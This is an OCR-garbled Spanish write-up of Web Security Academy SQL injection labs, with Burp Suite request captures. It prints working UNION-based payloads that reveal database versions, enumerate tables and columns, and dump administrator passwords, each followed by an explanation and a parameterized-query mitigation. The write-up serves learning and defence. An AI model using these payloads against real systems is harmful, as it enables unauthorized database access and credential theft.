,*/*%; G=0. B, applicat ion/signed-exchange; v=h3; 0. 7 Refine your search:
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: navigate A A - i
13| S Fetemtioen 71 All Accessories Corporate gifts Gifts Lifestyle Pets
14 Sec-Fetch-Dest: document
15 Referer: https: //0abd00e5035f913580d408dd005000bS. web-security-academy. net/ &
16 Accept-Encoding: gzip, deflate, br
17 Priority: =0, i .
s 4 CORE 11.2.0.2.0 Production
13

0@« >

Search

Road To Hall of Fame (SQL Injection)

NLSRTL Version 11.2.0.2.0 - Production
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit

Production

PL/SQL Release 11.2.0.

bl 0highlights

2.0 - Production

TNS for Linux: Version 11.2.0.2.0 - Production

Confirmacion de "Lab Solved”
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WebSecurity ‘.,L ln_l‘f ill-il_nv."l'l;'.:‘l‘ﬂ\ querying the database type and B 5ot 2
Acade 7 version on Orache

Gifts

Explicacion del payload:

®  Payload utilizado: ' UNION SELECT banner, NULL FROM v$version--

Analisis: E| disefo del payload altera la l6gica de la base de datos de forma

meticulosa:

El caracter de apodstrofe (') actua como un comando de escape. Su
funcion es interrumpir y cerrar la cadena de texto original
programada por el desarrollador (la categoria del filtro), preparando
el terreno para nuevas instrucciones.

El operador UNION SELECT ordena a la base de datos fusionar los
resultados de la busqueda de productos legitima con los resultados
de la consulta inyectada, consolidandolos en una unica respuesta
visible.

La estructura banner, NULL garantiza el cumplimiento de la regla de
homogeneidad estructural del operador UNION. Extrae el contenido
de la columna de metadatos (banner) en la primera posicion visible
de la pantalla y asigna un valor vacio (NULL) a la segunda para
coincidir con las dos columnas esperadas por la aplicacion.

El fragmento FROM v$version especifica la tabla de origen de los
datos, apuntando a una vista administrativa exclusiva de entornos
Oracle.

Road To Hall of Fame (SQL Injection) 18



Los guiones dobles (--) representan el simbolo universal de
comentario en bases de datos. Su propodsito critico es anular
cualquier fragmento de codigo residual que la aplicacién intentara
procesar después del punto de inyeccidon, evitando errores de
sintaxis que impedirian la ejecucion del ataque.

Mitigacion recomendada: Para erradicar esta vulnerabilidad estructural, se
requiere la implementacion obligatoria de Consultas Parametrizadas en la capa de
acceso a datos. Esta técnica previene la inyeccion al precompilar el cédigo SQL,
obligando al sistema a tratar la entrada del usuario estrictamente como datos
literales inofensivos y nunca como comandos ejecutables. Como medida
complementaria alineada con el marco de seguridad de OWASP, se debe aplicar
una Validacion de Entradas Estricta (Input Validation) utilizando listas blancas
(Allow-lists). Esto asegurara que el pardmetro category procese exclusivamente
valores categodricos previamente autorizados, bloqueando el paso de cualquier
caracter de escape o sintaxis de manipulacion de datos.

4. SQL injection attack, querying the database type and version

on MySQL and Microsoft

® Nivel: Practitioner

®  Tipode SQLi: In-band (UNION-based)

Objetivo del laboratorio: Extraer y visualizar la cadena de texto que
contiene la versién exacta del motor de base de datos utilizado por la
aplicacion web.

Explicacion técnica de la vulnerabilidad:

Se identifica que el parametro de filtrado de productos (especificamente,
category) es vulnerable a inyeccion SQL. La aplicacion web toma el texto
introducido en este filtro y lo anexa directamente a la orden interna que se envia a
la base de datos, sin realizar una validacién o neutralizacién previa de caracteres
especiales. En términos ejecutivos, el sistema confia ciegamente en la entrada del
usuario. Esto permite que un actor malicioso manipule la instruccion original,
forzando al sistema a ejecutar comandos adicionales no previstos. Como
resultado, es posible eludir las restricciones de acceso y extraer informacion
sensible directamente desde el nucleo de la base de datos.

Procedimiento paso a paso:
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Se intercepta la peticion HTTP dirigida al servidor utilizando Burp Suite
Proxy al momento de interactuar con los filtros de la interfaz gréfica.

Se envia la peticion interceptada a la herramienta Burp Repeater para su
analisis iterativo.

Se realizan pruebas de inyeccion utilizando la clausula UNION para
descubrir la estructura interna de las tablas. Mediante este proceso, se
confirma que la consulta original devuelve exactamente dos columnas de
informacion y que ambas son capaces de procesar y mostrar texto.

. Se inyecta una carga util (payload) disefada especificamente para

consultar las variables de entorno internas del sistema gestor de bases de
datos.

Se analiza el codigo renderizado en la respuesta del servidor, confirmando
que la cadena de version correspondiente a Microsoft SQL Server se
muestra de forma visible en la interfaz, lo que valida la explotacion exitosa
de la vulnerabilidad.

Capturas de pantalla:

Identificando el numero de columnas

=B ¢
Request

Pretty

Repeater Collaborator

Target: https://0a77005004818e3b 8200

* BurpAl

® w o= Pretty Raw Hex Render =

1 GET /filter?category=Gifts'+UNION+SELECT+'
2 Host: 0a77005004818e3b8200382f005b00e8. web

Cookie: session=Sm2dSCuAtO0dSVIyAli2a0il
"Not: A-Brand"; v="99"

4 Sec-Ch-Ua: "Chromium®; v="145%,
5 Sec-Ch-Ua-Mobile: 70
5 Sec-Ch-Ua-Platform: “Linux*
Accept-Language: es-419, es; 0.9
2 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/ 145.0.0.0 Safari/537.36
10 Accept

L */%, 0.8, application/signed-exchange; v=b3; ¢=0.7

11 Sec-Fetch-Site: same-origin
Sec-Fatch-Mode: navigate

3 Sec-Fetch-User: 71

14 Sec-Fetch-Dest: document

15 Rafarar: https: //0a77005004818e3b8200382f 005b00e8, web-security-acadeny. nat/
Accept-Encoding: gzip, deflate, br

17 Priority: w0, i

Road To Hall of Fame (SQL Injection)

text/html, application/xhtml+xml, application/xml; g=0.9, image/avif, inage/webp, image/apng

OO € > | seuch £ | Ohighlights

SHOP ~

Gifts' UNION SELECT 'abc','def'#
A

All Corporate gifts Food & Drink Gifts Lifestyle Pets

High-End Gift Wrapping

We offer a completely unique gift wrapping experience - the gift that just
keeps on giving. We can crochet any shape and size to order. We also

eollert warldwide we dn the hard winrk en von don't have tn The nift ic
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Request

Pretty Raw Hex = 8
BET /filter?category=Gifts' +UNION+SELECT+@@version, +NULL%23 HTTP/2

Host: 0a77005004818=23b8200382f 005b00e8. web-security-academy. net

Cookie: sessior=Sm2dSCuAtO0SVIyALi2a0iNGbzIURxA

Sec-Ch. : "Chromium";v="145", "Not:A-Brand";v="99"

Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Flatform: “Linux"

Accept-Language: es-419, es; ¢=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux xB86_64) AppleWebKit/S37.36 (KHTML, like Gecko)

Chrome/145.0.0.0 Safari/537.36

Accept:

text/htnl, application/xhtnl+xnl, application/xnl; 0.9, inage/avif, image/webp, inage/apng

,*/*, 0. 8, application/sianed-exchange; v=b3; ¢=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: https: //0a7700500481823b8200382f 005h00e8. web-security-academy. net/

Accept-Encoding: gzip, deflate, br

Priority: =0, i

=} WO NOWE W

Wl N@mbe W

DB € > [ serch 2| ohighlights

®  Confirmacién de "Lab Solved

Dashboard Target Proxy ®  Intruder Repester Collaborator

Sequencer

1 2 x +

N ¢

Request

Cancel < v * BurpAl

Pretty Raw Hex

GET /f;ltcr?:atmry—sms mnmmse:.ec*nnversmn +NLLL
2 Host: Oa7
Cookie: sessi
Sec-Ch-Ua: "Chromium®; v="145",
Sec-Ch-Ua-Mobile: 70
Sec-Ch-Ua-Platform:
Accept-Language: es-419,es; g=0.9
Upgrade-Insecure-Requests: 1
Usar-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebXit/537. 36 (KHTML, like Gecko)
Chrome/145.0.0.0 Safari/537.36
10 Accept:
text/html, application/xhtml+xnl, application/xml; GD.S,i-age/auf,maqe/webp, 1mage/apng
\*/%; 0.8, appl ication/signed-exchange; v=b3; 0. 7
11 S.c th(h Site: same-origin
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: ?1
14 Sec-Fetch-Dest: document
15 Referer: https://0a7’
16 Accept-Encoding: gzip, deflate, br
17 Priority: 0, 1

HTTP/2
y. nat

dSVIyAL 12a0iNGbzIUNxA
“Not: A-Brand*; v="99"

"Linux"

I Y )

18e3b8; eb ity-academy. net/

O ¢ »

Done

Search £  Ohighlights

Event log Allissues

Explicacion del payload:

Decoder

R@ v =
WebSecur
Academy

ICongratulations,
you solved the

Payload utilizado para extraer la version de base da datos

Response a:= =

Pretty Raw Hex Render ® S5 N

SHOP ~~

Gifts' UNION SELECT @ @version, NULL#

Refine your search:

All Corporate gifts Food & Drink Gifts Lifestyle Pets

High-End Gift Wrapping

We offer a completely unique gift wrapping experience - the gift that just

Lanne an nmivina \Wa ran rrachat amo ehann and ciza ta ardar \Aa alen

Comparer Organizer Extensions Discover

Logger

Target: https://0a77005004818e3b 820038

==
Render W =
atack. " s D
querying the
database type
and version on
MySQL and
Microsoft

Response

Pretty Hex

ack to

ab descriptior

Share your skills! § [} Continue learning »)

Internal Server Error

Internal Server Frror

®  Ppayload utilizado: '+UNION+SELECT+@@version,+NULL--
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® Analisis: Este conjunto de caracteres altera la légica de la consulta original

de la siguiente manera:

®  El caracter de comilla simple (*) acttia como un interruptor. Le indica a

la base de datos que la entrada de texto normal ha terminado,
abriendo la puerta para insertar nuevos comandos.

La instruccion UNION SELECT es el nucleo del ataque. Su funcion es
combinar los resultados legitimos que la aplicacién iba a mostrar, con
una nueva tabla de resultados controlada integramente por el
atacante.

El término @@version es una variable del sistema propia de motores
como Microsoft SQL Server. Al colocarla aqui, se le ordena al servidor
que revele su version exacta, informacion critica para planear ataques
mas sofisticados.

El valor NULL se introduce para rellenar la segunda columna de datos.
El ataque UNION exige matematicamente que la nueva consulta tenga
el mismo numero de columnas que la original; este relleno asegura
que el sistema no arroje un error por discrepancia estructural.

Los caracteres de doble guion (--) funcionan como un bloqueador. Le
indican al motor de la base de datos que ignore cualquier fragmento
de codigo original que haya quedado después de la inyeccidn,
previniendo errores de sintaxis que arruinarian el ataque.

Mitigacion recomendada:

Para erradicar esta vulnerabilidad desde su origen, se requiere la implementacion
estricta de Consultas Parametrizadas en el codigo fuente de la aplicacién. Esta
medida defensiva, fundamental en las guias de seguridad del estandar OWASP,
asegura que el motor de base de datos clasifique la entrada del usuario
estrictamente como "datos de lectura" y nunca como "cddigo ejecutable". Al
separar la légica del programa de la informacion proporcionada por el usuario, se
neutraliza por completo cualquier intento de manipulacion estructural en las
consultas. Adicionalmente, se recomienda aplicar un esquema de validacion de
entradas mediante listas de valores permitidos (Allow-lists) para fortalecer la
seguridad en las capas superficiales de la aplicacion.

5. SQL injection attack, listing the database contents on non-Oracle

databases

®  Nivel: Practitioner
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®  Tipode SQLi: In-band (UNION-based)

Objetivo del laboratorio: Extraer las credenciales de acceso del usuario
administrador mediante la enumeracion de la estructura interna de la base
de datos (esquema, tablas y columnas) para posteriormente comprometer la
cuenta y resolver el laboratorio.

Explicacion técnica de la vulnerabilidad:

El parametro category utilizado para filtrar productos en la tienda es vulnerable a
inyeccion SQL. La aplicacion web toma el valor proporcionado por el usuario en la
URL y lo concatena directamente en la consulta de la base de datos sin ningun tipo
de validacioén, sanitizacion o parametrizacion previa. Esto permite que un actor
malicioso altere la estructura original de la consulta introduciendo comandos
adicionales (en este caso, mediante el operador UNION), forzando a la base de
datos a devolver informacion confidencial que originalmente no estaba destinada a
ser publica. En términos gerenciales y de negocio, es el equivalente a que un
visitante de una biblioteca no solo pida un libro, sino que incluya instrucciones
ocultas en su formulario de solicitud que obliguen al sistema a entregarle, ademas
del libro, el registro privado de todos los empleados y sus contrasefias maestras.

Procedimiento paso a paso:

1. Se intercepta la peticion HTTP dirigida al servidor utilizando Burp Suite
Proxy.

2. Se envia la peticion interceptada a la herramienta Burp Repeater para su
analisis iterativo.

3. Se inyecta un primer payload dirigido a la vista estandar de metadatos
information_schema.tables para listar todas las tablas existentes en la base
de datos.

4. Se analiza la respuesta del servidor, identificando entre los resultados una
tabla con sufijos ofuscados destinada a almacenar datos de usuarios
(users_gbvywo).

5.Se inyecta un segundo payload dirigido a la vista
information_schema.columns, aplicando una cldusula de filtrado (WHERE)
especifica para la tabla de usuarios recién descubierta, con el fin de
mapear su estructura interna.

6. Se examina la nueva respuesta del servidor, logrando identificar las
columnas exactas que albergan el nombre de usuario y la contrasefa
(username_pqbuks y password_ugpynv).
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7.

8.

Se disefia y envia un tercer payload final para extraer directamente el
contenido de las columnas descubiertas dentro de la tabla de usuarios.

Se analiza la respuesta del servidor para confirmar el éxito de la
extraccion, la cual expone en texto plano las credenciales del usuario
administrator (ioc7llbwatolit9w69bj).

Se utilizan dichas credenciales en el portal de autenticacion de la
aplicacién web, logrando el compromiso de la cuenta con maximos
privilegios.

Capturas de pantalla:

[ senc RO
Request

Pretty Raw

1 GET /filter?category="'+UNION+SELECT+table_name, +NULL+FROM+information_schema. tables--

HTTR/2

B

Payload para consultar information schema

Cancel *¢ BurpAl Target: https://0a60004204be434181b

Response a:=-=-

Hex = n = Pretty Raw Hex Render =

2 Host: 0aE0004904be434181bf7hd2008c00ef. web-security-academy. net

Cookie: sessioreWePfzhhwkHahxUj rFvk; 736ygaY0ldac ' U N I o N S E L ECT tab | e_name , N U LL F RO M

Sec-Ch-Ua: "Chromium";v="145", "Not:A-Brand";v="393"

3| Sec-Chrlia-makile: 70 information_schema.tables--

6 Sec-Ch-Ua-Platform: "Linux"

7 Accept-Language: es-419, es; 0.9

g Upgrade-Insecure-Requests: 1

S User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/S37.36 (KHTML, like Gecko)

Chroms/145. 0.0
0 Accept:

0 Safari/537.36

text fhtnl, application/xhtml+xnl , application/xil; g=0.9, inage/avif, inage/webp, inage/apng
| */%; 0. 8, application/signed-exchange; v=b3; =0, 7 All Corporate gifts L#estyle Pets Tech gifts

Sec-Fetch-Site
Sec-Fetch-Mode
3 Sec-Fetch-User

) b

IS

Sec-Fetch-Dest:
5 Referer: https:

same-origin
navigate
71 Toys & Games
document

//0a60004904be434181bf 7Tbd2008c00ef . web-security-academy. net/

(& Accept-Encoding: gzip, deflate, br

7 Priority: =@,

’ pg_partitioned_table
pg_available_extension_versions
pg_shdescription
user_defined_types

Search £ Dhighlights
udt privileges

Extraccion de usuario y contrasena de la base de datos
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& Cancel < v % BurpAl Target: https://0260004904be4 34181b]
Request Response a:= =
Pretty Raw Hex 2B n o= ety Raw Hex Render S8 n =
1 GET /filter?category=  Lifestyle</a ) ‘
' +UNTON+SELECT+column_name, +NULL+FROM+information_schema. columns+WHERE+table name='use  ©7 <a class="filter-category" href="/filter?category=Pets">Pets</
rs_gbvywo' - HTTP/2 a= ) ]
2 Host: 0aG0004904be434181bf7hbd2008c00ef. web-security-academy. net 68 . <a class="filter-category” href="/filter?category=Tech+gifts">
2 Cookie: sessior=WGPfzhhwKHghxUj rFvkj736yga¥0ldac Tech gifts</a> .
4 Sec-Ch-Ua: "Chromium";v="145", "Not:A-Brand";v="99" 69 <a class="filter-category” href="
5 Sec-Ch-Ua-Mobile: 70 /filter?category=Toys+%26+Games">Toys & Games</a>
& Sec-Ch-Ua-Flatform: "Linux" </sections o
7 Accept-Language: es-419, es; g=0.9 <table class="is-table-longdescription">
2 Upgrade-Insecure-Requests: 1 <tbody>
9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleNebKit/S37.36 (KHTML, like Gecko) stre
Chrome/145.0.0.0 Safari/537.36 <th>password_ugpynv</th=
0 Accept: </tr>
text /html, application/xhtml+xml, spplication/xml; q=0. 9, image/avif, image/webp, image/apng <tr= .
*/*% ce0. 8, application/signed-exchange; v=b3; 0. 7 <thzemail</th>
1 Sec-Fetch-Site: same-origin </tr>
2 Sec-Fetch-Mode: navigate <tr>
3 Sec-Fetch-User: 71 <th>username_pabuks</th>
4 Sec-Fetch-Dest: document </tr>
S Referer: https: /. 181bf 7bd2008c 00ef . web-security-acadamy. net/ </thody>
& Accept-Encoding: gzip, deflate, br (</table>
7 Priority: w0, i </div>
8 </section>
s <div class="footer-wrapper"> I
</div>
88 <fdiv=
EE </bady>
90 </html>
91
D € > | search £ | ohighlights (D ) € > | username % | 1match

®  Extraccién de usuario y contrasefa del usuario administrador

Burp Projct  Intruder  Repester  View  Help Burp Swte Communiy Edition v2026.15 - Temporary Project

d Target Proxy ntreder Reseaner Coll Se Decoder Logger Organaer Extensons Decover
1 2 3 x +
@ Cancel < v W BurpAl Target: https /06000490 4bed 34187
Request Response Q==
Precty Raw Hex @ = ey Raw Hex Render B =
o — et wa T
GET /filter’category™ [ «a clases*filtar-category® hrefs'/filterlcategorysPats*>Pate</
" SUNIONSSELECT susa rrame_pabukcs, spassvord_ugpyrveFRONsusers_cbvywo- - HTTP/2 -»
Host: 0a60004904bad 34181bF Tod2008c00ef . veb -security-academy. net r < classs*filtar-category® hrefs"/filtar?categorys Tachegifta's
Cookie  semsiormWePF zhhwklighal révii 196y gaT0lac Tech gifts</a> : : z
t Sec-Ch-Ua: “Chromium®; w"145" “Not:A-Brand",w 39" " “a claass*filtar-category” hrefs"
5 Sec-Ch-Ua-Mobile: 70 ffilterTeatagory= ToysP\26+Ganes *>Toys & Gases</a>
Sec-Ch-Ua-Matform “Linua* </secticn>
Accept-Language: es-419 e 0. 9 1 <table class='is-table-longdescription”>
Upgrade- Insecure-facuests 1 2 <thedy> i
User-Agent: Mozilla/S 0 (X11; Lirux xB6_64) AppleMebKit/S37.36 ( like Gacke) 3 <t
Chrome/145 0.0.0 Safari/S37 36 4 <th>wienar</th>
Accapt <td>t)vabfych26ssskfycl</td>
taxt/Menl, application/shtalexal spplication/znl, ge0 9 image/avif issge/webp, issge/spng 6 <Jte>
. 0. 8, spplication/signed-exchange, whi, g0 7 @
1l Sec-Fetch-Site same-origin g <th>adainistrator</th>
12 Sec-Fetch-Mode: navigate - <td>iec7llbvatolitSasob) </td>
13 Sec-Fetch-User: 71 g <>
14 Sec-Fetch-Dest: document £ <t

15 Raferer: https: //0n60004904bed34181b¢ 7Thd2008c 006! . wab-Security- acadeny. rat/
16 Accept-Encoding: gzip, deflate, br
17 Prioeity. ws0, i

<th>carlos</th>
<td>pzyra2vwwgnksf q2ybac</td>
<t
</thody>
- &2 </table>
J </div>
83 </saction>
&9 <div class="Footer.wvrapper*>
I
</div>

PN
@@ € = Search bl Ohighlghts @@ € 9 administ x

Dane

®  Confirmacién de "Lab Solved”
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(EmP O]

Burp Project Intruder Repeater View Help

® SQL injection attack, listi x | +

Dashboard Target Proxy Intruder Repeater

€ C  [3] hps//02a60004904be434181bf7bd2008c00ef. web-security-academy.net sccount?id=ad t b4 3 (K- ®

Intercept HTTP history WebSockets histary Match and re)

H SQL injection attack, listing the database contents on
.
Websecurlty non-Oracle databases S Soved 4
Academy/|%] k
Back to lab descriptiol

Congratulations, you solved the lab! Share your skills! g Continue learning >

My Account

Your username is: administrator

Update email

. Eventlog(4)®  Allissues

Explicacion del payload:

® pPayload utilizado: ‘+UNION+SELECT+username_pgbuks,

+password_ugpynv+FROM+users_gbvywo--

Analisis: La comilla simple (') inyectada al inicio sirve para cerrar
prematuramente la cadena de texto de la consulta original programada por
los desarrolladores. El operador UNION se utiliza para combinar los
resultados de esa consulta legitima con un conjunto de resultados
completamente nuevo disefado durante la prueba. La clausula SELECT se
instruye para extraer especificamente las columnas descubiertas de forma
previa (username_pqgbuks y password_uqpynv) desde la tabla de usuarios
objetivo (users_gbvywo). Finalmente, la secuencia de dos guiones medios (--)
actua como un simbolo de comentario en el motor de la base de datos,
indicando que se debe ignorar todo el cdédigo legitimo restante de la
aplicacion, evitando con esto errores de sintaxis que impedirian la ejecucion
exitosa del ataque.

Mitigacion recomendada: Para erradicar esta vulnerabilidad desde su causa raiz,
se requiere la implementacion estricta de Consultas Parametrizadas en todas las
interacciones de la aplicaciéon con la base de datos. Esta practica, considerada el
estandar de oro por guias de seguridad como OWASP, garantiza que el motor de la
base de datos trate la entrada del usuario Unicamente como datos literales y nunca
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como codigo ejecutable, neutralizando asi cualquier intento de inyeccion.
Adicionalmente, como medida de defensa en profundidad, se recomienda
implementar una validacion de entrada estricta mediante listas de permitidos,
asegurando que parametros como category solo acepten valores predefinidos y
rechacen inmediatamente cualquier solicitud que contenga caracteres de control
o sintaxis SQL.

6. SQL injection attack, listing the database contents on Oracle

® Nivel: Practitioner

® Tipode SQLi: In-band (UNION-based)

Objetivo del laboratorio: Exfiltrar el contenido de la base de datos para
obtener las credenciales de acceso de todos los usuarios registrados,
localizar la contrasena de la cuenta administradora y comprometer el panel
de control de la aplicacion.

Explicacion técnica de la vulnerabilidad:

Se identifico que el parametro category (categoria), utilizado para filtrar los
productos en la tienda virtual, es vulnerable a inyeccidon de codigo. La aplicacion
web toma el texto ingresado en este filtro y lo inserta directamente en la consulta
de la base de datos sin un proceso previo de limpieza o validacion. En términos de
negocio, esto significa que el sistema no distingue entre una instruccion legitima
("muéstrame los regalos") y una orden maliciosa ("muéstrame las contrasenas"). Al
reflejar los resultados de las consultas directamente en la pagina web que visualiza
el cliente, se abre la puerta para utilizar un ataque de tipo UNION, el cual permite
"grapar" o adjuntar subrepticiamente los resultados de una tabla confidencial
(como la de usuarios) a los resultados de una tabla publica (como la de productos).

Procedimiento paso a paso:

1. Se intercepta la peticion HTTP dirigida al servidor utilizando Burp Suite
Proxy al momento de hacer clic en una categoria de producto.

2. Se envia la peticion interceptada a la herramienta Burp Repeater para su
analisis iterativo y controlado.

3. Se determina el nimero exacto de columnas devueltas por la consulta
original inyectando sentencias de ordenamiento (ORDER BY 2, ORDER BY
3), confirmando que la base de datos opera con dos columnas al recibir un
error en el tercer intento.
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. Se verifica que ambas columnas admiten datos de tipo texto mediante la

inyeccion de una consulta de prueba utilizando la tabla predefinida de
Oracle (UNION SELECT 'a’ 'b' FROM dual).

. Se extrae el listado maestro de tablas del sistema consultando la vista

all_tables, identificando la tabla critica denominada USERS_IRAUIG.

. Se enumeran las columnas especificas de la tabla descubierta consultando

la vista all_tab_columns, revelando los campos USERNAME_FBFFOG vy
PASSWORD_WKNSGM.

Se ejecuta la inyeccidn final para volcar el contenido de dichas columnas,
analizando la respuesta del servidor en formato HTML para localizar las
credenciales renderizadas en pantalla.

. Se utiliza la contrasefa extraida perteneciente al usuario administrator

para iniciar sesion de manera exitosa, confirmando el compromiso total
del sistema.

Capturas de pantalla:
. . .
Determinando la cantidad de columnas
Dashboard Target Proxy ®  Intruder Repeater Collzbarator Sequencer Decader Comparer Logger Organizer Extensions Discover
1 X  +
[ send  [ECIINER-N 3E % BurpAl Target: https://0a23008504b21€10
Request Response (v ER
Pretty Raw Hex w n o= Pretty Raw Hex Render

GET /filter?category=' UNION SELECT 'a', 'b' FROM dual-- HTTP/2
Host: 0a23008504b212108098171800b40091. web-security-academy. net
Cookie: sessiormhGRNYQ4DYpGNHx3IPMOWLGRUCho0OZhK
Sec-Ch-Ua: "Chromium";v="145", "Not:A-Brand";v="99"

Mo

W w

Sec-Ch-Ua-Mobile: 70

& Sec-Ch-Ua-Flatform: "Linux"

7 Accept-language: es-419,es; 0.9

2 Upgrade-Insecure-Requests: 1

9 User-Agent: Mozilla/S.0 (X11; Linux xB6_64) AppleebKit/537.36 (KHTML, like Gecko)
Chrome/145.0.0.0 Safari/S37.36

10 Accept:
text/html, application/xhtml+xml, application/xml; q=0. 9, image/avif, image/webp, image/apng
,%/*, ¢=0. B, appl ication/signed-exchange; v=b3; 0. 7

11 Sec-Fetch-Site: same-origin

12 Sec-Fetch-Mode: navigate

13 Sec-Fetch-User: 71

14 Sec-Fetch-Dest: document

15 Referer: https://0223008504b212108098171800b40051. web-security-acadeny. net/

16 Accept-Encoding: gzip, deflate, br

17 Priority: w0, i

1

1

@& € > | search p

ohighlights

® |istando tablas de la base de datos
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Target: https://0a23008504b21e10809817

m & Cancel <[] > % BurpAl
Request Response
Pretty Raw Hex N = Pretty Raw Hex Render k
1 GET /filter?category=' UNION SELECT table name, NULL FROM sl1_tables-- HTTP/2 e i
2 Host: 0a23008504b21e108098171800b400SL. web-security-academy. net 266 <th>SRSNAMESPACE_TABLE</th>
Cookie: sessior=hGRNYQ4DYRGHHx3IPMOWLGRUCho003hK 267 <strs =
Sec-Ch-Ua: "Chromium";v="145", "Not:A-Brand";v="99" 268 <tr>
Sec-Ch-Ua-Mobile: 70 269 <th>STMT_AUDIT_OPTION_MAP</th>
5 Sec-Ch-Ua-Flatform: "Linux" 270 <strs
7 Accept-Language: es-419 es; 0.9 271 <tr>
3 Upgrade-Insecure-Requests: 1 ) . 272 <th=SYSTEM_PRIVILEGE_MAP</th>
3 User-Agent: Mozilla/5.0 (X11; Linux xBE_64) AppleWebKit/537.36 (KHTML, like Gecka) 27 <strs - -
Chrome/145.0.0.0 Safari/537.36 274 P
9 Accept: o L . . . 275 <th>TABLE_PRIVILEGE_MAP</th>
text/html, application/xhtml+xml, application/xnl; 0.9, inage/avif, image/webp, inage/apng 5o, <strs
,*/%, =0, 8, application/signed-exchange; v=b3; ¢=0. 7 277 P
1 Sec-Fetch-Site: same-origin 278 <th>USERS| TRAUTG=/th>
2 Sec-Fetch-Mode: navigate 279 </tr=
3 Sec-Fetch-User: 71 280 <tr>
4 Sec-Fetch-Dest: document . 281 <th=WRI4$_ADV_ASA_RECO_DATA</th>
5 Referer: https://0223008504b21=108098171800b40091. web-security-academy. net/ 282 </trs -0 T T
5 Accept-Encoding: gzip, deflate, br 283 <tr>
7 Priority: w0, 1 284 <th=WRR$_REPLAY_CALL_FILTER</th=
3 285 </tr=
3 286 <tr>
287 <th>WWV_FLON_DUAL100</th>
288 </tr=
289 <tr>
230 <th=WWV_FLON_LOV_TEMP</th>
291 </trs
292 <tr>
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Explicacion del payload:
® payload utilizado: '+UNION+SELECT+USERNAME _FBFFOG,
+PASSWORD_WKNSGM+FROM+USERS_IRAUIG--
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® Analisis: E| funcionamiento de este vector de ataque se divide en cuatro

componentes criticos:

® El apdstrofo inicial (') cumple la funcion de cerrar prematuramente la
cadena de texto de la consulta original programada por los
desarrolladores.

°

El operador UNION SELECT es el nucleo del ataque; instruye al motor
de base de datos a ejecutar una segunda consulta completamente
nueva y combinar sus resultados con la primera.

® La declaracién FROM USERS_IRAUIG dirige la extraccion de datos
especificamente hacia la tabla confidencial descubierta durante la fase
de enumeracion, solicitando las columnas de usuario y contrasena.

Los guiones dobles finales (--) actian como un simbolo de comentario
en SQL. Su propdsito es anular o ignorar cualquier porcion de cédigo
legitimo que la aplicacion web intente anadir después de la inyeccion,
evitando asi errores de sintaxis que delatarian o frustrarian el ataque.
(Los signos + actuan como codificacion URL para los espacios en
blanco, garantizando que el servidor web interprete la instruccion
correctamente).

Mitigacion recomendada:

Para erradicar esta vulnerabilidad de raiz, se recomienda encarecidamente la
implementacion de Consultas Preparadas o consultas parametrizadas en todo el
codigo fuente que interactue con la base de datos. Esta practica, considerada un
estandar de oro por la fundacion OWASP, obliga al sistema a tratar la entrada del
usuario estrictamente como datos literales, imposibilitando que el motor de base
de datos interprete caracteres especiales (como apostrofos o comandos UNION)
como codigo ejecutable. Adicionalmente, se sugiere implementar validacién de
entradas mediante listas blancas en el lado del servidor, asegurando que el
parametro category solo acepte valores alfanuméricos predefinidos
correspondientes a las categorias reales del catalogo.

7. SQL injection UNION attack, determining the number of columns

returned by the query

®  Nivel: Practitioner

®  Tipode SQLi: In-band (UNION-based)
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Objetivo del laboratorio: Determinar el numero exacto de columnas que
devuelve la consulta SQL original de la aplicacién, inyectando una consulta
anexa mediante el operador UNION que devuelva una fila adicional con
valores nulos.

Explicacion técnica de la vulnerabilidad:

Se identifica que el parametro category, utilizado en la funcionalidad de filtrado del
catalogo de productos, es directamente vulnerable a Inyeccion SQL. La aplicacién
web toma el valor suministrado a través de la URL y lo incorpora en la consulta de
la base de datos sin aplicar mecanismos de desinfecciéon de datos ni separacion de
comandos.

En términos ejecutivos, el sistema confia ciegamente en el texto que el usuario
introduce, permitiendo que un atacante inserte instrucciones adicionales que el
motor de la base de datos interpreta y ejecuta como comandos legitimos. Debido
a que los resultados de esta consulta alterada se muestran directamente en la
pagina web del usuario, se habilita la posibilidad de utilizar la técnica UNION para
extraer informacion no autorizada de otras tablas del sistema, siendo el primer
paso necesario descubrir la estructura (niumero de columnas) de la consulta
original.

Procedimiento paso a paso:

1. Se intercepta la peticion HTTP (método GET) dirigida al servidor web
utilizando la herramienta de proxy local Burp Suite.

2. Se envia la peticiéon interceptada a la herramienta Burp Repeater para
facilitar su analisis y modificacion iterativa de forma controlada.

3. Se procede a manipular el parametro category inyectando el operador SQL
UNION. Dado que esta técnica exige que la consulta inyectada contenga
exactamente el mismo numero de columnas que la consulta original, se
realiza un proceso de enumeracion secuencial utilizando el valor universal
NULL.

4. Se inyecta inicialmente el payload de prueba para una sola columna
(*+UNION+SELECT+NULL--). El servidor responde con un cdédigo 500
Internal Server Error, evidenciando una discrepancia en la estructura de las
columnas.

5. Se incrementa el nUmero de columnas en la inyeccion. Al probar con dos
columnas (+UNION+SELECT+NULL,NULL--), el servidor mantiene la
respuesta de error 500.
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6. Finalmente, al inyectar el payload para tres columnas
("+*UNION+SELECT+NULL,NULL,NULL--), el servidor responde con un cédigo
de éxito 200 OK y la pagina se renderiza correctamente. Este
comportamiento confirma de manera irrefutable que la consulta original
de la base de datos opera con exactamente tres columnas.

Capturas de pantalla:

®  Probando cantidad de columnas en 1

Dashboard Target Proxy * Intruder Repeater Collaborator Sequencer Decoder Comparer Logge Organizer Extensions Discoves
1 x 4
ER e o % BurpAl Target: https://Osed00d80422c a72847 85 beO O
Request Response == Inspe
Pretty Raw bex @ v = Pretty Raw Hex Render QB Y = Reques
1 GET /filter?category=} +UNIOM+SELECT+NULL- . HTTE/2 1 HITP/2 500 Internal Server Error
2 Host deaden422ca7284728bba0Bc d2033. wab-sacurity-acadany. nat 2 Content-Typa: taxt/html; charset=utf-g Reques
